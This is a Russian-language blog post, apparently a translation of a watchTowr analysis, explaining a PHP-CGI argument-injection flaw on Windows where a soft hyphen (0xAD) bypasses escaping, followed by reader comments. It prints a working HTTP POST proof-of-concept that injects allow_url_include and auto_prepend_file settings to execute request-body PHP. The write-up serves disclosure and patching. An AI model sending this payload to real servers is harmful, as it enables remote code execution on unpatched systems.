Orange Tsai недавно запостил про «Одну из уязвимостей PHP, которая влияет на XAMPP, развернутый по умолчанию», и нам было интересно рассказать немного об этом. XAMPP - очень популярный способ администраторов и разработчиков развернуть Apache, PHP и множество других инструментов, и любая ошибка, которая может быть RCE в установке этого набора по умолчанию, звучит очень заманчиво.

Изображение к статье от коллег из WatchTowr
Изображение к статье от коллег из WatchTowr

К счастью, для защитников, ошибку смогли воспроизвести только на инсталляциях PHP для Windows (где PHP используется в режиме CGI), в некоторых локализациях (речь про локали Windows):

  • Китайский (как упрощенный, так и традиционный)

  • Японский

Однако, Orange предупреждает, что другие локали могут быть тоже затронуты, и настоятельно призывает обновиться до последней версии PHP, где эти ошибки были уже устранены (для деталей, смотрите его пост - тут автор приводит пример уязвимой конфигурации).

Хочется отметить, что мы не можем проверить наверняка, насколько распространена данная конфигурация или тип развертывания на самом деле.

Пост Orange'а, хоть и информативный, но не демонстрирует нам, что необходимо для реализации такой привлекательной RCE. К сожалению, большой набор конфигураций делает сложным доказательство, что система уязвима (или нет) при пассивном просмотре, это очевидно, потому что информация о локали Windows обычно не размещается в каких либо «отпечатках». Поэтому мы решили приступить к воспроизведению ошибки, если мы сможем её использовать, это ли не лучшее доказательство?

Абсолютно понятно, что уязвимость затрагивает только CGI режим PHP. В этом режиме веб-сервер разбирает HTTP-запросы и передает их в PHP скрипт, затем выполняет некоторую обработку над этим. Для примера, строка запроса парсится и передается в интерпретатор PHP в командной строке - такой запрос http://host/cgi.php?foo=bar, может быть выполнен как php.exe cgi.php foo=bar.

Это, конечно, может быть использовано для внедрения команд, поэтому ввод тщательно обрабатывается и очищается перед вызовом php.exe (после CVE-2012-1823). Однако, как оказалось есть один способ, который разработчики не учли, он позволяет злоумышленнику выйти за пределы командной строки и передать аргументы, которые интерпретируются самим PHP. Этот способ связан с тем, как именно символы unicode перекодируются в ASCII. Покажем это на примере.

Ниже представлены два вызова php.exe, один вредоносный, а второй нет. Вы сможете найти разницу между ними?

Нет, и я тоже не могу. Давайте взглянем на них через hex-редактор и попробуем найти подсказку.

Здесь мы видим, что первый вызов использует обычное тире (0x2D), а вот второй вызов использует что-то другое (видимо «мягкий дефис»), с кодом 0xAD (на скриншоте он выделен). Хоть внешне они для нас с вами абсолютно одинаковые, для операционной системы - это разные значения.

Самое важное в этом всём, что Apache будет экранировать дефис - 0x2D, но не второй «дефис», 0xAD. Ведь это же не настоящий дефис, верно? Значит его и не надо экранировать...верно?

Да шутка старая, но всё ещё актуальная:-Давай посмотрим кто ты на самом деле!-Я так и знал!
Да шутка старая, но всё ещё актуальная:
-Давай посмотрим кто ты на самом деле!
-Я так и знал!

Получается, что в части обработки юникода, PHP будет применять так называемый маппинг «лучшего соответствия», и предположит, что когда пользователь вводит «мягкий дефис», он хотел на самом деле ввести обычный дефис, и он будет его интерпретировать именно так. В этом и заключается уязвимость, если мы предоставим обработчику CGI «мягкий дефис» (0xAD), обработчик не станет его экранировать и передаст PHP. PHP в свою очередь уже будет интерпретировать его как обычный дефис, благодаря этому, злоумышленники могут указывать дополнительные аргументы командной строки, начинающиеся с дефисов для PHP.

Это очень похоже на старую ошибку PHP в режиме CGI (CVE-2012-1823), поэтому мы можем позаимствовать некоторые методы эксплуатации, которые применялись в старой CVE, но адаптируем их для работы с новой ошибкой.

Реализация

В одном полезном writeup (решение для CTF), говорится, что нам понадобятся следующие аргументы для нашей RCE:

-d allow_url_include=1 -d auto_prepend_file=php://input

Благодаря этим аргументам тело нашего HTTP-запроса будет передано и обработано уже в PHP. Но давайте заменим обычные дефисы на ранее обсуждаемые (0xAD). Будут ли они пропущены?

Пример запроса после преобразования:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

У нас получилось! Мы действительно получили страницу phpinfo, доказывая, что мы достигли RCE.

Выводы

Неприятная ошибка с очень простой эксплуатацией.

Для Windows с локалями на английском, корейском и других, из-за разнообразия сценариев использования PHP в настоящее время невозможно перечислить и исключить все потенциальные сценарии использования данной уязвимости.

К счастью, патчи уже доступны, и мы рекомендуем обновить PHP. Как всегда, фантастическая работа и респект - Orange Tsai.

Мы не будем дублировать здесь рекомендации, их можно найти в ранее упомянутой статье.


Данная статья является переводом публикации коллег из watchTowr (не рекламирую их, но статьи короткие и полезные, советую также в оригинале).

Дополню только информацией из других статей и новостей про уязвимые версии PHP, а именно:

  • с версии PHP 8.3 по 8.3.8;

  • с версии PHP 8.2 по 8.2.20;

  • с версии PHP 8.1 по 8.1.29.

Комментарии (9)


  1. datacompboy
    08.06.2024 12:11

    Распознавание вариаций пробелов и вариаций минусов-дефисов-тире обычно делают для того, чтоб копипастить из примеров на сайтах и в блогах можно было.


    1. alekssamos
      08.06.2024 12:11

      У меня всегда была parse error такая ошибка, когда пробел был представлен кодом 160. Всегда, во всех языках программирования. Когда я копировал с каких-то сайтов, приходилось через найти и заменить всё убирать эти пробелы с кодом 160. Неразрывные пробел, кажется, называется.


      1. datacompboy
        08.06.2024 12:11

        Вот варианты пробелов в юникоде: https://www.compart.com/en/unicode/category/Zs

        nbsp (A0 который) встречается крайне часто, особенно при копипасте с сайтов или из ворда.

        То же самое с дефисами-минусами, да. В теории, правильно оформленный кусок завернутый в тег code должен быть 1-в-1 для копирования -- но часто встречаются и неоформленные.

        Впрочем, проблема тут не в библиотеке разбора, а в использовании WideCharToBultiByte -- именно поэтому проблема в некоторых кодовых страницах, а не вообще.


  1. petro_64
    08.06.2024 12:11
    +1

    А почему использование мягкого дефиса зависит от локали? В Юникоде не должно это обрабатываться одинаково разве?


    1. KirSecurity Автор
      08.06.2024 12:11

      В юникоде да, но тут видимо фишка именно при кодировании дальше в ASCII (который используется самой Windows), т.к. данная CVE актуальна только на Windows.


  1. FanatPHP
    08.06.2024 12:11
    +2

    Сначала бодро пишем заманчивый текст

    XAMPP - очень популярный способ администраторов и разработчиков развернуть Apache, PHP и множество других инструментов...

    а потом скромно забываем дописать "...на уютном домашнем компике под Виндой, где веб-сервер биндится к приватным IP". Понимаю, новость сразу становится не такой вкусной и возникают вопросы, интересна ли она кому-то, кроме очередных мамкиных хакиров, с успехом ломающих собственную венду.


    1. KirSecurity Автор
      08.06.2024 12:11

      Не всегда к приватным, но согласен, для прода такая инсталляция это скорее изюминка, плюс еще такие специфичные локали.

      Но меня больше в этой новости зацепило, что подобные ошибки в обработке PHP очень старые, но новые реализации находят до сих пор.


  1. koreychenko
    08.06.2024 12:11

    А это точно уязвимость PHP, а не админская "дырка"?

    Вы б ещё эвалы включили и прочие богомерзкие вещи.

    А тут, apache, cgi, под виндой, сразу видно, что человек любит боль и явно нарывается специально.


    1. FanatPHP
      08.06.2024 12:11
      +2

      Ну, судя по всему, тут именно РНР (правда в невероятном варианте использования). И в целом это неплохая была бы статья для начинающего любителя сайбер секьюрити, который разобрался в этой несложной уязвимости.

      Но всё портят попытки набить себе цену на пустом месте и раздуть из лабораторной уязвимости проблему вселенского масштаба. А всего-то надо было честно написать - "Уязвимость представляет скорее академический интерес, но разобрать её интересно".